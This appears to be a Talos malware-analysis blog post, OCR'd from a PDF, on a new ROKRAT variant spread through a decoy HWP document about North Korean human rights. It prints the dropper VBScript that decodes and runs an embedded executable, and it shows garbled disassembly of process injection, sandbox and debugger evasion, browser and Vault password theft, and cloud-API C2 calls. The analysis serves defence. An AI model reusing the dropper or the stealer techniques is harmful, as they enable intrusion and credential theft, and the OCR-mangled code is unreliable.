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This post was authored by Warren Mercer, Paul Rascagneres and with contributions from
Jungsoo An.

Executive Summary

Earlier this year, Talos published 2 articles concerning South Korean threats. The first one
was about the use of a malicious HWP document which dropped downloaders used to
retrieve malicious payloads on several compromised websites. One of the website was a

compromised government website. We named this case "Evil New Years". The second one

was about the analysis and discovery of the ROKRAT malware.

This month, Talos discovered a new ROKRAT version. This version contains technical
elements that link the two previous articles. This new sample contains code from the two
publications earlier this year:

¢ |t contains the same reconnaissance code used;

o Similar PDB pattern that the "Evil New Years" samples used;

« it contains the same cloud features and similar copy-paste methods that ROKRAT
used;
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e |t uses cloud platform as C&C but not exactly the same. This version uses pcloud, box,
dropbox and yandex.

We also discovered that this new version of ROKRAT shares code with Freenki, a
downloader used in the FreeMilk campaign.

The campaign started, unsurprisingly, with a malicious HWP document. This document was
alleged to be written by a lawyer who claims to represent the "Citizens' Alliance for North
Korean Human Rights and Reunification of Korean Peninsula". It mentions a meeting of this
group that took place the 1st of November at Seoul. Due to the content of this malicious
document we can assume that the targets are interested by the situation in North Korea. This
malicious document drops and executes a new version of ROKRAT.

HWP Malicious Document

As with the previous ROKRAT campaigns we described the infection vector used with this
actor is a malicious HWP document. The HWP files are created using Hangul Word
Processor, a popular alternative to Microsoft Office for South Korean users developed by
Hancom. Here is a screenshot of the malicious document:
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The malicious document mentions the "Community of North Korean human right and
unification". We first observed his campaign during November 2017. The document was
alleged to be written by a lawyer who has been representing the community known as 'Z©l

S (SHIEEE AU TS USRI ).

o

The purpose of the document is to arrange a meeting to discuss about items which are
related to 'North Korean Human Rights Act' and 'Enactment of a law' which passed in last

2016 in South Korea.

Based on the meeting date (1st Nov 2017), this decoy document could be delivered to the
stakeholders in the community '€ 91 E' by pretending to be a request to join the discussion
for finding better ideas/ways to let more people be interested in their activity before Nov

2017.
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The HWP file contains an OLE object named BINOOO1.0OLE. Once extracted and
uncompressed (zlib), we obtain the following script:

const strEncode =
"TVQQAAMAAAAEAAAA/ / SAALGAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAL

DIM outFile

DIM base64Decoded

DIM shell_obj

SET shell_obj = CreateObject("WScript.Shell")

DIM fso
SET fso = CreateObject("Scripting.FileSystemObject")
outFile = "c:\ProgrambData\HncModuleUpdate.exe"

base64Decoded = decodeBase64(strEncode)
IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded

shell _obj.run outFile

END IF

WScript.Quit()

private function decodeBase64(base64)
DIM DM, EL

SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64"

EL.Text = base64

decodeBase64 = EL.NodeTypedValue

end function

private Sub writeBytes(file, bytes)

DIM binaryStream

SET binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1

binaryStream.Open

binaryStream.Write bytes
binaryStream.SaveToFile file, 1

End Sub

The purpose is to decode, using the base64 algorithm, the content of the strEncode variable.
The decoded data is stored in the c:\ProgramData\HncModuleUpdate.exe file and executed.
The binary is the ROKRAT dropper. The specific filename '"HncModuleUpdate' may fool a
user into thinking this is a Hancom software.

Stage 1: Dropper

The purpose of the dropper is to extract the resource named SBS. This resource contains
malicious shellcode. Additionally, the dropper executes a new cmd.exe process, injects the
extracted resource and executes it. The code injection is performed by the VirtualAlloc(),
WriteProcessMemory() and CreateRemoteThread() APls:
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push BN 3 lpstartupInfo

push ] i lpCurrentDirectory
ouzh a i lpEnvironment

push ] 3 dwCreationflags
nush ] 3 bInheritHandles
puzh a i lpThreadittributes
push ] i lpProcessittributes
nush offset CommandLine ; "cmd.ewe”

pusl ] i lpApplicationName
call ds:CreateProcessd

tost AN, EAN

jz short Lo 481160

Once executed, the shellcode will decoded a PE file, will load it in the memory of cmd.exe
and finally will execute it. This payload is a new variant of ROKRAT.

Additionally, one of the analysed droppers displays a picture to the user:

T
ol s =
push &ih ; dwdilliscoonds
call edl ; Sleep
mawv edx, [esptiihtProcessInformation.hProcess]
push 4bh ; FlProtect
push 1P33H H f1A]1¢cnfi¢ﬂTyp¢
lea ecx, [ebx+ldah )
push = ; dwhize
push a ; lpAddress
push edx ; hProcess
call des:Virtualal Ex
push &ih ; dwHillisccoonds
Lot esl, eax
call edi ;
test esi, esi
iz short loc 481180

L¥1

ll i =

moy cax, [espredniProcessIinformation.hProcess]
push a i lpMumberOfByteskritten
push b ; nSize
push ebp i lpBuffer
push 5 3 lpBaseAddress
push o ; hProcess
call ds -WriteProcessMemory
test Fax, cax
jz shart loc_ 481160
LI
-i

il e =

push
call
mow
push
push
push
push
push
push
push
call
Lest
jz

£4ah 3 dwiilliseconds
edi ; Sleep
ecx, [espridh+ProcessInformation. hProcess]

] 3 1pThreadd

(2] i dﬁ(ledtlvﬂFlug>
esi i lpParameter

esi 3 lpstartaddress

L] 3 dwStackSize

(-] i lpThreadittributes
BCX ; hProcess

ds:CreateRemoteThread
eax, eax
short loc_d@llel

SR
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The people in the pictures are about the Korean war and people related to independence
troops during the "independence movement". The image on the top left comes from
Wikipedia. The picture in the middle left comes from this blog. And the bottom left image
comes from this news website. The decoy image seems to be a set of public pictures.

Stage 2: ROKRAT

Similarities With the "Evil New Years" MalDoc

This variant of ROKRAT contains similar code with the "Evil New Years" downloader. The
information collected during the reconnaissance phase is similar. The malware uses the
following registry key to get the machine type:
HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData. The "System
manufacturer" value is used to identify the type of machine. Here is the graph flow of the
"Evil New Years" downloader:
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The graph flow of the ROKRAT variant:
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The graph flows are 99% similar. Additionally, the machine type is described with the

following strings:
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...
rdata:01B0...

5

o [ [

4]

4]

G [ (e ey

4]

Q0000014
00000003
QO00000A
Q000000A
00000016
Q0000000
00000003
Q000000s
00000003
Q0000008
Q000000F

o Y e O i Y e T T i T Y T O o B o

System manufacturer
(Other)

{Unknown)
(Desktop)

{Low Profile Desktop)
{Mini Tower)

(Tawer)

(Portable)

(Laptop)

(Motebook)

{Sub Motebook)

The code appears to be based on this forum post describing the use of the Win32 APls

used. The source code only considers the following type:
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default:

case
case
case
case
case
case
case
case
case

Notice the () used by the ROKRAT author too. Some values are ignored as we can see from

0x02:
0x03:
Ox04:
0x06:
OX07:
0x08:
0x09:
OX0A:
OXOE:

1pString = "(Other)"; break;

1pString = "(U

nknown)"; break;

1pString = "(Desktop)"; break;

1pString = "(L

ow Profile Desktop)"; break;

1pString = "(Mini Tower)"; break;
1pString = "(Tower)"; break;
1pString = "(Portable)"; break;

1pString = "(L
1pString = "(N

aptop)"; break;
otebook)"; break;

1pString = "(Sub Notebook)"; break;

the SMBIOS documentation:

DEPG134

System Management BIOS (SMBIOS) Reference Specification

Byta Value Maaning

0Zh Unknown

03h Desktop

Ddh Low Prafile Deskiop

05h Pirza Box

DEh Mini Tower

OTh Tiovam=r

0&h Porable

0fh LapTop

DA MNotebook

DBh Hand Held

DCh Dacking Station

0oh Al i O

QOFEh Sub Motlebook

OFh Spaco-saving

10h Lunch Biox

11h Main Server Chassis

1Zh Expansion Chassis

13h SubChassis

14h Bus Expansion Chassis

15h Peripheral Chassis

16h RAID Chassis

1Th Rack Mount Chassis

18h Sealed-case PC

19h Multl-system chassis. When this vales is spacified by an SMBIOS
implementation, the physical chassis associated with this struchure:
supparts multiple, independently reporting physical systems —
regardiess al the chassis’ current configuration, Syslems in the same
physical chassls are required 1o report the same value in this
structune's Seral Mumber field
For & chassis that may also be configured as either a single system
of rudliple physical syslems, the Multsystem chassis value is
reporied even if the chassis s currently configured as a single
system. This allows management applications 1o recognize the mult-
system pofential of the chassis

1a4h Compact PCI

1Bh Advanced TCA

1Ch Blade. An SMBIOS Implementation for a Blade would conlain a Type
3 Chassis struciure for the individual Blade system as well as one for
the Blade Enclosure thal completes the Blade system.

The missing values are also omitted from the forum post.
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Another similarity is the PDB path. The "Evil New Year" sample contained the following PDB
path:

e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb

This new ROKRAT variant contains the following PDB:

d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb

We clearly have the similar pattern.

Anti-Sandbox

This ROKRAT variant contain anti-sandbox tricks. This is performed by checking if the
following libraries are loaded:

o SbieDIl.dll (sandboxie library)

o Dbghelp.dll (Microsoft debugging tools)

e Api_log.dll (threatAnalyzer / GFI SandBox)

o Dir_watch.dll (threatAnalyzer / GFI SandBox)

. — L
=
lie_1ABAEES:
e esi, dsiGeth Hland Led
push offset aSbhiedllDll "Shiedll. dl1™
call eni ; Mnclul
test A, SAN
je skl Loe_ 1ABAEAD
I
e T R L
ol s =
lor_1ARAEAZ:
push offset sDoghe=lpill ;
call eii ; GetMcduletandles
sent ax, B@x
shart loc_ 1ABAERG
[ -
- _— L
ol e =
loc LABAESS
pazh affset anpilopnll
call esi ; Geth LeH,
tent ax, Tax
iz short loc LARGECH
| | | - 1
) ¥ . ¥ . ¥ . ¥ . _ ¥
ol = e = i = il = il =
Y antimi, *th TV antilMyi, *h T antili¥i, 3th TV antilitii, *h
Jmn short loc IABAEEB| | fmn short loc 1ABAEEB| | fmp short loc JABAEEB|  jemp short loc JABAEES| |loc 1AERECA!

T punt effart adirdatchill ;
cal g and Lef
movIn  edk, antibsd
text AN, PAX
v adw, 35h
Loy wex, edx
e tinps, «l

— 1 LI
.
Anti-Debug

This ROKRAT version contains anti-debug tricks. For example it uses the following NOP
technique:
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ol =

; int  stdeall WinMain{HINSTAMCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int AShowCmd)
WinMain@lé proc near

hreadld= dword ptr -4
hinstance= dword ptr &
hPrevInstance= dword ptr acl
IpCmdline= dword otr 18H
nShowCmd= dword ptr 14h

push ebp

[ elY) I:|'.'_'.I.. €3p

push eox

call reco_

Wor EaX, EAK

hr:-p dword ptr [eax+eax+d8h]

vy

ol =

loc_1ABBE88:

moy cl, ds:byte 1BBESE4|eax]
lea oax, [=ax+l]

Moy byte 1819315[eax], cl
test cl, 1

jnz short loc_1ABBEEE

| T

nop dword ptr [eax+eax+00h] is a 5 bytes NOP: OxOF1F440000. But this opcode is not
correctly supported by Immunity Debugger, the assembly is replaced by "?7??" in red in the
screenshot:

Unknown command

YTE PTR DS [ERX ], A
YTE FTR DS: [EAR+1E1E
DWORD FPTR DE:LE "+!..:_1] .
. A EFOE15]. O

Don't know how to step command at address 014CBETEB. Try to run,

change EIP or pass exception to program.

Mote: You may allow stepping inte unknown cammands in Options
¥ g

SECLFITY

Screenshots Feature
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The two ROKRAT versions performed screenshots. It's interesting to note similarities
between the two versions. Especially the filename of the saved screenshot, here is the April

ROKRAT version:
T

=

lea eax, [ebp+lBChevar 238)

push CER

push eh

push edi

moy dword ptr [e":'i.], otfset ??_.r!!-'irrlnp@tnd'i::-luqﬁihli@l ;3 const Gdiplus::Bitmap:: vftable

mo [ebp+iBChévar_238], ebx

call GdipCreateditmapFromHB L TMAP

mo [esi+B], eax

mow eax, [ebp+lBCh+var 238

maw [esi+d], eax

mav eha, exi

i

ll s =
loc_ABF8E9:
lea eax, [ebp+lBECh+var 234]
push Eax
call sub_ABF750
x0T eax, opx
inc [
ey [ebp+lBCh4var_224], eax
oy [ebp+1BCh+var_218], eax
ey eci, offset unk 5527CC
lea edi, [ebp+lBCh+var 228]
movsd
morsd
movsd
movsd
lea eax, [ebp+lBCh4var_23C]
pog (=1}
ey [ebp+1BCh+var_23C], 3zh
ma [ebp+1BCh+var 28C], 4
may [ebp+lECh+var 28E8], eax
call rand
push oA
call _rand
push eax
push offset word 568808 ; Args
lea eax, [ebp+lBCh+Dest]
push offset aS@dwBdxTmp ; “¥<Baanioax. tma”
push eax ; Dest
call sub_ 485838
add esp, 14h
lea cax, [ebptlBChivar_224]
push cax
lea eax, [ebp+lBCh4var_234]
pusth Eax
lea eax, [ebp+lBCh+Dest]
push EEx
push dword ptr [ebx+d|
call GdipSaveImageToFile
tast T, ooX
jz short loc_a@Fs0g

And the code of the November version:
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esi, esi

¥ . L
ol e = ol =
le=a eax, [-e*h;:-—a.-'.-n'_?"i-:":
L dword ptr [esi], offset ?? 7Bitmap@Gdiplusg@EB@ ; const Gdiplus::Bitmap:: vftable’ loc_1ABALAT:
push 2ax ®OT
push e
push edi
oy [ebptvar_23C], @
call de:GdipCrest=0itmapFromHB T TMAP
e [esi+8], eax
L] eax, [ebpsvar_23C)
M [esi+d], eax
jmp short loc 1ABAL49
] Yy

il s =

loc 1ABALAG:

lea edx, [ebptvar_238]

call sub_lABARl@

movVUpSs  xmmd, d-.:x-r.rmnrd_'lﬂﬂ!’:.f'rﬁ

lea eax, [l.-::-[.n-l-\'.-.r'_."-'tl-'!']

mov [ebp+var_248], 32Zh

mow [ebpsvar 2287, 1

maw [ebpevar_214], 1

movups  [ebpivar_224], xmmé

mow [ebptvar_218], 4

mow [#hp'—vm'_?ﬁ-f'], A

call rand

push Ean

call and

push ean

push offset Buffer i int

lea cax, [ebptFileName ]

push affset aS@dx@dxTmp ; “ESE04N%E4K. top

aush Ean 3 ik

tall sub 1AADBCS®

add esp, ldh

lea eax, [ebptvar 228]

push cax

lea eax, [ebptvar_238]

aush BaxX

lea eax, [ebp+FileName ]

push Ban

push dword ptr [esi+d]

call ds:adipSavelmageToFile

test cax, cax

jz short loc_1ABALE®

The pattern is exactly the same: %s%04X%04X.tmp. The two %04X are random values. And
the %s contains a temporary path (obtained with GetTempPath()). In both sample, the string
length is 0x12C (300). This part is clearly a copy-paste.

LI |

Browser Password Stealer

One of the analysed November ROKRAT samples contained a browser stealing capability.
The malware is able to extract the stored passwords from Internet Explorer, Chrome and
Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the

URL, username and password:
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s =

push offset aSelectUsername ; “SELECT username value, password value,
lea ecx, [ebptvar_288] ; int

call sub_1HE3888 ;ISCI'EEW'S'EF“IFE db "SELECT username value, password_walue, signen_realm FROM logins',@
push @ " ; DATA XREF: ChromeStealer+lESte
lea eax, [ebpivar_284]

H } £/ starts at 1EE23E@

Pty o

mow byte ptr [ebp+var 4], 2

cmp [ebptvar_29C], 1l@h

lea edx, [ebpivar_286]

mow ebx, [ebp+platadut.pblata]

mOA [-{=.39 ebx

cmovnbk edx, [ebpivar_280]

push ean

push @

push 1

push @FFFFFFFFh

call sub_1ED4798

add esp, ldh

test eax, eax

jnz loc 1EB27ES

Additionally, ROKRAT supports the Microsoft Vault mechanism. Vault was implemented in
Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is
the initialization of the Vault APIs:
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GetVaultAPI proc near

push offset LibFileMams ; “vaultcli.dll®
call ds:loadLibraryW

mov hModule, eax

test eax, eax

1z loc_1ES81C89

&

i) =

push esi

mov esi, ds:GetProcAddress

push offset aVaultenumerate ; “VaultEnumerateItems®
push eax ; hModule

call esi ; GetProchddress

push offset aVaultenumerate & ; "VaultEnumerateVaults"
push hModule ; hModule

mow VaultEnumerateItems_APT, eax

call esi ; GetProchAddress

push oftset aVaultfres ; "VaultFres'

push hMadule ; hHodule

may VaultEnumerateVaults API, eax

call esi ; GetProcAddress

push offset aVaultgetitem ; “VaultGetItem”

push hModule ; hModule

moy VaultFree API, eax

call esi ; GetProcAddress

push offset aVaultpetitem ; "VaultGetItem”

push hModule ; hModule

Mo Vault Getltem? APT, eax

call esi ; BetProcaddress

push offset aVaultopenvault ; "VaultOpenvault”
push hMadule ; hModule

mav Vault GetItem API, eax

call esi ; GetProchAddress

push offset aVaultclosevaul ; "VaultCloseVault”
push hMadule ; hModule

moy VaulOpenVault API, eax

call esi ; GetProcAddress

cmp VaultEnumerateVaults API, @

moy VaultlloseVault API, eax

pop esi

jz short loc 1EB1CED

The ROKRAT implementation is largely based on the following_project. This is a change of
tactic for ROKRAT when compared with previous samples/versions. This time the actor is
specifically targeting information which would be used for additional compromises and
maybe even on potential personal accounts. The method used by the ROKRAT actors was
also out of the ordinary as they embedded the whole SQLite library into their executable to
allow the SQLite browsing attempts used for Firefox & Google Chrome.

During our investigation, we discovered that the browser password stealer code is exactly
the same as the code used during the FreeMilk campaign described by Unit 42. In this
article, the author already noticed C2 infrastructure overlap between FreeMilk and ROKRAT.
In addition, we can add that some code overlap is present between the 2 samples:
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https://www.codeproject.com/Articles/1167943/The-Secrets-of-Internet-Explorer-Credentials
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/

On the left, we have the ROKRAT sample and on the right the FreeMilk sample. We can
notice that in addition to the code, the author copy-pasted English typos such as "IE

Registery".

Cloud Platforms Used As C&C

Finally, this ROKRAT version uses cloud platforms in exactly the same way as our previous
analysis. This time, the author did not use social network platforms, but different cloud

providers:

pcloud
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Ll el =

loc 1ABSOBF: 3 int

push 23h

Xor edx, edx

push offset aHttpsApiPcloud ; “https://api.pcloud.com/oauth2_token”
mav [eax], dx

call sub_ 1AB3288

sub esp, 18h

.
k]

+ // starts at LABS96C
try {

mav byte ptr [ebptvar 4], 5
mov ecx, esp
mav [ebptvar_1C], esp
mav dword ptr [ecx+l4h], 7
mav dword ptr [ecx+leh], @
cmp dword ptr [ecx+l4h], B
jb short loc_ 1ABSOC4
B E '
il e 5 ol e =
mow eax, [ecx]
jmp short loc_ 1ABS9CH loc_1ABS9C4:
mov eax, ecx
J
\ v ¥
il s =
loc_1AB59CE: ; int
push 26h
xor edx, edx
push offset aHttpsMyPcloudC ; “https://my.pcloud.com/ocauth2/authorize™
mow [eax], dx
call sub_1AR3238
sub esp, 18h
s+ // starts at 1ABS9A3
;o try {
mow byte ptr [ebpt+var_4], &
mov eCx, esp
Box
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mow byte ptr [ebptvar 4], 1
lea eax, [ebptarg 4]
cmp [ebp+arg_ 18], 8
mov [ebp+var_ 11D8], @
cmovnb  eax, [ebptarg_4]
push eax 3 int
lea eax, [ebptvar_ 181&]
push offset aHttpsApiBoxCom 1 ; "https://api.box.com/2.8/Tiles/¥s/conten”...
push eax 3 int
call sub 1AADBCE®
xor eax, eax
mov [ebp+var_182C], 7
add esp, &Ch
mow [ebptvar_1838], @
mov word ptr [ebp+lpMem], ax
cmp word ptr [ebp+var 18187, ax
jnz short loc_lAAF1A4
LI |

Dropbox
]
loc 1ABS@I1C: 3 int
push 2Dh
xor eax, eax
mov [ebp+var_B5C], 7
push offset gHttpsContentDr ; "https://content.dropboxapi.com/2/files/™...
lea ecx, [ebptvar B78]
mov [ebptvar e8], @
mov word ptr [ebptvar 378], ax
call sub 1AB3238
push BCX
lea eax, [ebp+var_878]
3} // starts at 1ABAFDB
5 try {
mov byte ptr [ebptvar 4], 4
push eax
lea ecx, [ebptvar 9FE]
call sub 1ABC3AB
H T // starts at 1ABS@52
;0 try {
mov byte ptr [ebpt+var_4], B
mov eax, [ebptvar_B5C]
cmp eax, 4
jb short loc 1ABSEE4

Yandex
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Mz
loc 1AB9811: ; int
push eax
lea eax, [ebp+var 2218]
push offset HttpsCloudApiY @ ; "https://cloud-api.yandex.net/vl/disk/re”...
push eax ; int
call sub 1AADBCS
xor eax, eax
mov [ebp+var 222C], 7
add esp, 18h
mov [ebptvar_2238], @
mov word ptr [ebptlpMem], ax
cmp word ptr [ebptvar 2218], ax
jnz short loc_lABOBS8
Conclusion

This campaign shows that the actor behind ROKRAT is still active. Based on the PDB, it
could be the 13th version of this malware. This actor made the decision only to use
legitimate cloud platforms, but changed some from the last incarnation. From an attacker's
perspective it's an interesting choice, the flow is encrypted by default with HTTPS and the
malicious flow can be difficult to find in the middle of legitimate traffic to these platforms. We
can also determine that the actor likes to use code already available on the internet in
various repositories we mentioned throughout this post ie; GitHub, Code Project and other
public forums.

Based on source code copy-paste, we remain highly confident that the author of ROKRAT is
also behind, or working with those behind, the FreeMilk spear phishing campaign. This is
further proven by the fact that ROKRAT shares code with Freenki downloader used in the
FreeMilk campaign.

Moreover, the actor is always interested by the same pattern of targets, the decoy
documents refer to precise elements related to the geopolitical situation between North and
South Korea. Generally, the documents reference the Ministry of Unification or the situation
of North Korean citizens. They frequently contain specific references to real meetings or
conferences, showing a high knowledge of current events in North and South Korea.

Together this information helps us to understand the profile of the targeted systems and the
interests of the threat actor.

Coverage
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Additional ways our customers can detect and block this threat are listed below.

AMP
CloudLock
[pF L

LWUS

Emazil Security

Metwork Security

Threat Lrid

Umbrella

=
SR

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the
malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware
used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such asNGFW,NGIPS, andMeraki MX can detect malicious
activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security
products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.

I0OCs

Path: c:\\ProgramData\HncModuleUpdate.exe

MalDoc: 171e26822421f7ed2e34cc092eaeba8a504b5d576¢c7fd54aa6975c2e2db0f824
Dropper #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
Dropper #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
Dropper #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
ROKRAT: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036¢303389307e2e
Freenki: 99¢1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3ccadf1bab
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https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://www.snort.org/products

